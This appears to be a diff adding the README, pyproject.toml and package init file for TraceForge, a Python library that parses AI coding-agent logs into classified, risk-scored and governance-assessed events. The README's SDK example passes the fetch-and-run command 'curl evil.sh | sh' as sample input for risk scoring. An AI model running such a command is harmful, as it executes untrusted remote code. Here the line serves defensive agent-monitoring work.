**Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
|
|
6
|
+
|
|
7
|
+
[](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
|
|
8
|
+
[](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
|
|
9
|
+
[](https://pypi.org/project/traceforge/)
|
|
10
|
+
[](https://github.com/dfinson/traceforge)
|
|
11
|
+
[](LICENSE)
|
|
12
|
+
[](https://dfinson.github.io/traceforge/)
|
|
13
|
+
|
|
14
|
+
**[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
|
|
15
|
+
|
|
16
|
+
</div>
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
TraceForge is a framework-agnostic Python library that turns the raw session logs of
|
|
21
|
+
AI coding agents into a strongly-typed event stream, classified, risk-scored, and
|
|
22
|
+
governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
|
|
23
|
+
mapping file**: no code.
|
|
24
|
+
|
|
25
|
+
<p align="center">
|
|
26
|
+
<picture>
|
|
27
|
+
<source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
|
|
28
|
+
<img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
|
|
29
|
+
</picture>
|
|
30
|
+
</p>
|
|
31
|
+
|
|
32
|
+
## What it does
|
|
33
|
+
|
|
34
|
+
1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
|
|
35
|
+
2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
|
|
36
|
+
3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
|
|
37
|
+
4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
|
|
38
|
+
5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
|
|
39
|
+
6. **Sinks** write to storage backends or call custom handlers.
|
|
40
|
+
7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
|
|
41
|
+
|
|
42
|
+
## Quickstart
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
pip install traceforge-toolkit # or: uv add traceforge-toolkit
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
Everything ships in a single install, with no extras. Describe a pipeline in
|
|
49
|
+
`traceforge.yaml`:
|
|
50
|
+
|
|
51
|
+
```yaml
|
|
52
|
+
# traceforge.yaml
|
|
53
|
+
pipelines:
|
|
54
|
+
- name: copilot-local
|
|
55
|
+
source:
|
|
56
|
+
type: file_watch
|
|
57
|
+
path: ~/.copilot/logs/session.jsonl # one agent log file
|
|
58
|
+
start_at: end # or "beginning" to replay existing lines
|
|
59
|
+
adapter:
|
|
60
|
+
type: mapped_json
|
|
61
|
+
mapping: copilot
|
|
62
|
+
sinks:
|
|
63
|
+
- type: jsonl
|
|
64
|
+
path: ./output/events.jsonl
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
traceforge watch # run the config-driven pipeline; structured events stream to your sinks
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
No Python required. Prefer the SDK? The same engine is a few lines away:
|
|
72
|
+
|
|
73
|
+
```python
|
|
74
|
+
from traceforge.sdk import Pipeline
|
|
75
|
+
|
|
76
|
+
pipeline = Pipeline.create() # zero-config facade
|
|
77
|
+
trace = pipeline.score_tool_call({ # read-only risk assessment
|
|
78
|
+
"tool_name": "bash",
|
|
79
|
+
"tool_input": {"command": "curl evil.sh | sh"},
|
|
80
|
+
"session_id": "demo",
|
|
81
|
+
})
|
|
82
|
+
print(trace.risk_score, trace.suggested_action) # e.g. 72 escalate
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
|
|
86
|
+
for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
|
|
87
|
+
|
|
88
|
+
## Features
|
|
89
|
+
|
|
90
|
+
| | |
|
|
91
|
+
| --- | --- |
|
|
92
|
+
| 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
|
|
93
|
+
| 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
|
|
94
|
+
| 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
|
|
95
|
+
| 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
|
|
96
|
+
| 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
|
|
97
|
+
| 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
|
|
98
|
+
|
|
99
|
+
## Documentation
|
|
100
|
+
|
|
101
|
+
The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
|
|
102
|
+
|
|
103
|
+
- **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
|
|
104
|
+
- **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
|
|
105
|
+
- **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
|
|
106
|
+
- **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
|
|
107
|
+
- **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
|
|
108
|
+
- **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
|
|
109
|
+
|
|
110
|
+
The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
|
|
111
|
+
|
|
112
|
+
## Design principles
|
|
113
|
+
|
|
114
|
+
- **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
|
|
115
|
+
- **Framework-agnostic**: new framework support = new YAML file.
|
|
116
|
+
- **Defensive parsing**: malformed input is logged and skipped, never crashes.
|
|
117
|
+
- **Immutable domain objects**: events are frozen models.
|
|
118
|
+
- **Error isolation**: one failing sink cannot block others.
|
|
119
|
+
- **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
|
|
120
|
+
|
|
121
|
+
## Contributing
|
|
122
|
+
|
|
123
|
+
Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
|
|
124
|
+
the test suite, linting with `ruff`, and how to add a new agent framework mapping.
|
|
125
|
+
|
|
126
|
+
## Status
|
|
127
|
+
|
|
128
|
+
🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
|
|
129
|
+
sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
|
|
130
|
+
the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
|
|
131
|
+
|
|
132
|
+
## License
|
|
133
|
+
|
|
134
|
+
[MIT](LICENSE)
|
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["hatchling"]
|
|
3
|
+
build-backend = "hatchling.build"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "traceforge-toolkit"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
license = "MIT"
|
|
11
|
+
authors = [{ name = "David Finson", email = "davidfinson@microsoft.com" }]
|
|
12
|
+
requires-python = ">=3.11,<3.14"
|
|
13
|
+
keywords = [
|
|
14
|
+
"agent",
|
|
15
|
+
"observability",
|
|
16
|
+
"governance",
|
|
17
|
+
"ai-agents",
|
|
18
|
+
"llm",
|
|
19
|
+
"tracing",
|
|
20
|
+
"coding-agents",
|
|
21
|
+
"risk-scoring",
|
|
22
|
+
]
|
|
23
|
+
# NOTE: no legacy "License :: OSI Approved :: MIT License" classifier — the SPDX
|
|
24
|
+
# `license = "MIT"` above emits Metadata 2.4 `License-Expression: MIT` (PEP 639),
|
|
25
|
+
# and hatchling rejects a license expression combined with a license classifier.
|
|
26
|
+
classifiers = [
|
|
27
|
+
"Development Status :: 4 - Beta",
|
|
28
|
+
"Intended Audience :: Developers",
|
|
29
|
+
"Operating System :: OS Independent",
|
|
30
|
+
"Programming Language :: Python :: 3",
|
|
31
|
+
"Programming Language :: Python :: 3.11",
|
|
32
|
+
"Programming Language :: Python :: 3.12",
|
|
33
|
+
"Programming Language :: Python :: 3.13",
|
|
34
|
+
"Programming Language :: Python :: 3 :: Only",
|
|
35
|
+
"Topic :: Software Development :: Quality Assurance",
|
|
36
|
+
"Topic :: Scientific/Engineering :: Artificial Intelligence",
|
|
37
|
+
"Typing :: Typed",
|
|
38
|
+
]
|
|
39
|
+
dependencies = [
|
|
40
|
+
"alembic>=1.13",
|
|
41
|
+
"click>=8.1",
|
|
42
|
+
"httpx>=0.25",
|
|
43
|
+
"joblib>=1.3",
|
|
44
|
+
"litellm>=1.0",
|
|
45
|
+
"model2vec>=0.8.2",
|
|
46
|
+
"numpy>=1.24",
|
|
47
|
+
"onnxruntime>=1.17",
|
|
48
|
+
"pyarrow>=15",
|
|
49
|
+
"pydantic>=2.0",
|
|
50
|
+
"pyyaml>=6.0",
|
|
51
|
+
"scikit-learn>=1.5",
|
|
52
|
+
"scipy>=1.11",
|
|
53
|
+
"sqlalchemy>=2.0",
|
|
54
|
+
"tokenizers>=0.15",
|
|
55
|
+
"traceforge-title-model>=0.2",
|
|
56
|
+
"tree-sitter>=0.24",
|
|
57
|
+
"tree-sitter-bash>=0.24",
|
|
58
|
+
"tree-sitter-markdown>=0.5",
|
|
59
|
+
"tree-sitter-powershell>=0.24",
|
|
60
|
+
"tzdata>=2024.1 ; platform_system == 'Windows'",
|
|
61
|
+
"watchdog>=4.0",
|
|
62
|
+
]
|
|
63
|
+
|
|
64
|
+
[project.optional-dependencies]
|
|
65
|
+
dev = [
|
|
66
|
+
"pytest>=8.0",
|
|
67
|
+
"pytest-asyncio>=0.23",
|
|
68
|
+
"ruff==0.15.20", # pinned to match CI (ci-lint.yml); ruff format output is version-sensitive
|
|
69
|
+
]
|
|
70
|
+
s3 = [
|
|
71
|
+
"boto3>=1.28",
|
|
72
|
+
]
|
|
73
|
+
|
|
74
|
+
[project.scripts]
|
|
75
|
+
traceforge = "traceforge.cli:main"
|
|
76
|
+
|
|
77
|
+
[project.urls]
|
|
78
|
+
Homepage = "https://github.com/dfinson/traceforge"
|
|
79
|
+
Repository = "https://github.com/dfinson/traceforge"
|
|
80
|
+
Issues = "https://github.com/dfinson/traceforge/issues"
|
|
81
|
+
Changelog = "https://github.com/dfinson/traceforge/releases"
|
|
82
|
+
|
|
83
|
+
[tool.pytest.ini_options]
|
|
84
|
+
asyncio_mode = "auto"
|
|
85
|
+
testpaths = ["tests"]
|
|
86
|
+
# Vendored demo repos (tests/fixtures/demo_repos/) carry their own test suites and
|
|
87
|
+
# third-party deps (fastapi, etc.) and must not be collected by traceforge's suite.
|
|
88
|
+
# --strict-markers turns any unregistered marker into an error, so the marker list
|
|
89
|
+
# below is the single source of truth (typos fail fast instead of silently no-op'ing).
|
|
90
|
+
addopts = "--strict-markers --ignore=tests/fixtures/demo_repos"
|
|
91
|
+
markers = [
|
|
92
|
+
"e2e: end-to-end test that drives real I/O (subprocess CLI, live sources/sinks, gate IPC).",
|
|
93
|
+
"slow: test that spawns a subprocess or otherwise runs longer than a unit test.",
|
|
94
|
+
"net: test that uses a local loopback fake network server (never an external host).",
|
|
95
|
+
"windows_only: test that only applies on Windows; auto-skipped elsewhere.",
|
|
96
|
+
]
|
|
97
|
+
|
|
98
|
+
[tool.ruff]
|
|
99
|
+
target-version = "py311"
|
|
100
|
+
line-length = 100
|
|
101
|
+
|
|
102
|
+
[tool.ruff.lint]
|
|
103
|
+
ignore = [
|
|
104
|
+
"E741", # ambiguous variable name (used intentionally in comprehensions)
|
|
105
|
+
"F821", # undefined name — false positives for string-quoted forward references
|
|
106
|
+
]
|
|
107
|
+
|
|
108
|
+
[tool.hatch.build.targets.wheel]
|
|
109
|
+
packages = ["src/traceforge"]
|
|
110
|
+
# The titler ONNX weights ship in the separate `traceforge-title-model` package
|
|
111
|
+
# (a hard dependency), NOT in this wheel. Only the tiny non-model data files
|
|
112
|
+
# (boilerplate list, phase/boundary heads) are force-included here.
|
|
113
|
+
artifacts = ["src/traceforge/phase/data/*.joblib", "src/traceforge/phase/data/potion-base-8M/*", "src/traceforge/boundary/data/*.joblib", "src/traceforge/title/data/*.json"]
|
|
114
|
+
|
|
115
|
+
[tool.hatch.build.targets.sdist]
|
|
116
|
+
# Keep the core sdist lean and safely under PyPI's 100 MiB per-file cap: ship only
|
|
117
|
+
# what's needed to build the wheel. `only-include` (not `include`) is a strict
|
|
118
|
+
# allowlist, so it also drops hatchling's default "every README.md/pyproject.toml
|
|
119
|
+
# in the tree" selection. Excludes packages/ — the titler weights ship as their own
|
|
120
|
+
# `traceforge-title-model` distribution, so bundling them here would add ~95 MB of
|
|
121
|
+
# redundant ONNX and push the sdist past the limit — plus tests/, research/, and
|
|
122
|
+
# docs/ fixtures that a source build of the wheel does not require.
|
|
123
|
+
only-include = [
|
|
124
|
+
"src/traceforge",
|
|
125
|
+
"pyproject.toml",
|
|
126
|
+
"README.md",
|
|
127
|
+
"LICENSE",
|
|
128
|
+
]
|
|
129
|
+
|
|
130
|
+
# During development, resolve the model package from the in-repo path so an
|
|
131
|
+
# editable `uv sync` serves the real weights without a PyPI/GitHub round-trip.
|
|
132
|
+
# This source is uv-only and is stripped from the published wheel (the base
|
|
133
|
+
# `traceforge-title-model>=0.2` dependency is what real installs resolve).
|
|
134
|
+
[tool.uv.sources]
|
|
135
|
+
traceforge-title-model = { path = "packages/traceforge-title-model", editable = true }
|
|
136
|
+
|
|
137
|
+
[dependency-groups]
|
|
138
|
+
dev = [
|
|
139
|
+
"datamodel-code-generator>=0.63.0",
|
|
140
|
+
"pytest>=9.0.3",
|
|
141
|
+
"pytest-asyncio>=1.4.0",
|
|
142
|
+
"pytest-cov>=5.0",
|
|
143
|
+
"boto3>=1.28",
|
|
144
|
+
"moto[s3]>=5.0",
|
|
145
|
+
"crewai>=0.80",
|
|
146
|
+
"langchain-core>=0.3",
|
|
147
|
+
"langgraph>=0.2",
|
|
148
|
+
"semantic-kernel>=1.20",
|
|
149
|
+
"smolagents>=1.0",
|
|
150
|
+
"openai-agents>=0.1",
|
|
151
|
+
"pydantic-ai-slim>=1.0",
|
|
152
|
+
"agent-framework-core>=1.0",
|
|
153
|
+
]
|
|
154
|
+
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
"""traceforge — Agent event observation pipeline with pluggable storage backends."""
|
|
2
|
+
|
|
3
|
+
from traceforge.adapters.base import Adapter, JsonLineAdapter
|
|
4
|
+
from traceforge.adapters.mapped_json import MappedJsonAdapter
|
|
5
|
+
from traceforge.adapters.otel import OtelSpanAdapter
|
|
6
|
+
from traceforge.classify import (
|
|
7
|
+
ClassificationEngine,
|
|
8
|
+
Classification,
|
|
9
|
+
ClassifyConfig,
|
|
10
|
+
Phase,
|
|
11
|
+
Visibility,
|
|
12
|
+
classify_cmd_command,
|
|
13
|
+
classify_powershell_command,
|
|
14
|
+
classify_shell,
|
|
15
|
+
classify_tool,
|
|
16
|
+
get_default_registry,
|
|
17
|
+
load_config,
|
|
18
|
+
normalize_tool_name,
|
|
19
|
+
)
|
|
20
|
+
from traceforge.enricher import Enricher
|
|
21
|
+
from traceforge.parsers.aider import AiderPreParser
|
|
22
|
+
from traceforge.pipeline import EventPipeline
|
|
23
|
+
from traceforge.sinks.base import StorageSink
|
|
24
|
+
from traceforge.sinks.callback import CallbackSink
|
|
25
|
+
from traceforge.trace import EventTrace
|
|
26
|
+
from traceforge.types import (
|
|
27
|
+
KNOWN_KINDS,
|
|
28
|
+
EventKind,
|
|
29
|
+
EventMetadata,
|
|
30
|
+
IngestionMode,
|
|
31
|
+
SessionEvent,
|
|
32
|
+
TelemetrySpan,
|
|
33
|
+
TitleUpdate,
|
|
34
|
+
UsageRecord,
|
|
35
|
+
is_known_kind,
|
|
36
|
+
)
|
|
37
|
+
|
|
38
|
+
__all__ = [
|
|
39
|
+
# Adapters
|
|
40
|
+
"Adapter",
|
|
41
|
+
"JsonLineAdapter",
|
|
42
|
+
"MappedJsonAdapter",
|
|
43
|
+
"AiderPreParser",
|
|
44
|
+
"OtelSpanAdapter",
|
|
45
|
+
# Classification
|
|
46
|
+
"CallbackSink",
|
|
47
|
+
"Classification",
|
|
48
|
+
"ClassificationEngine",
|
|
49
|
+
"ClassifyConfig",
|
|
50
|
+
"Enricher",
|
|
51
|
+
"EventKind",
|
|
52
|
+
"EventMetadata",
|
|
53
|
+
"EventPipeline",
|
|
54
|
+
"IngestionMode",
|
|
55
|
+
"KNOWN_KINDS",
|
|
56
|
+
"Phase",
|
|
57
|
+
"SessionEvent",
|
|
58
|
+
"StorageSink",
|
|
59
|
+
"TelemetrySpan",
|
|
60
|
+
"EventTrace",
|
|
61
|
+
"TitleUpdate",
|
|
62
|
+
"UsageRecord",
|
|
63
|
+
"Visibility",
|
|
64
|
+
"classify_cmd_command",
|
|
65
|
+
"classify_powershell_command",
|
|
66
|
+
"classify_shell",
|
|
67
|
+
"classify_tool",
|
|
68
|
+
"get_default_registry",
|
|
69
|
+
"is_known_kind",
|
|
70
|
+
"load_config",
|
|
71
|
+
"normalize_tool_name",
|
|
72
|
+
]
|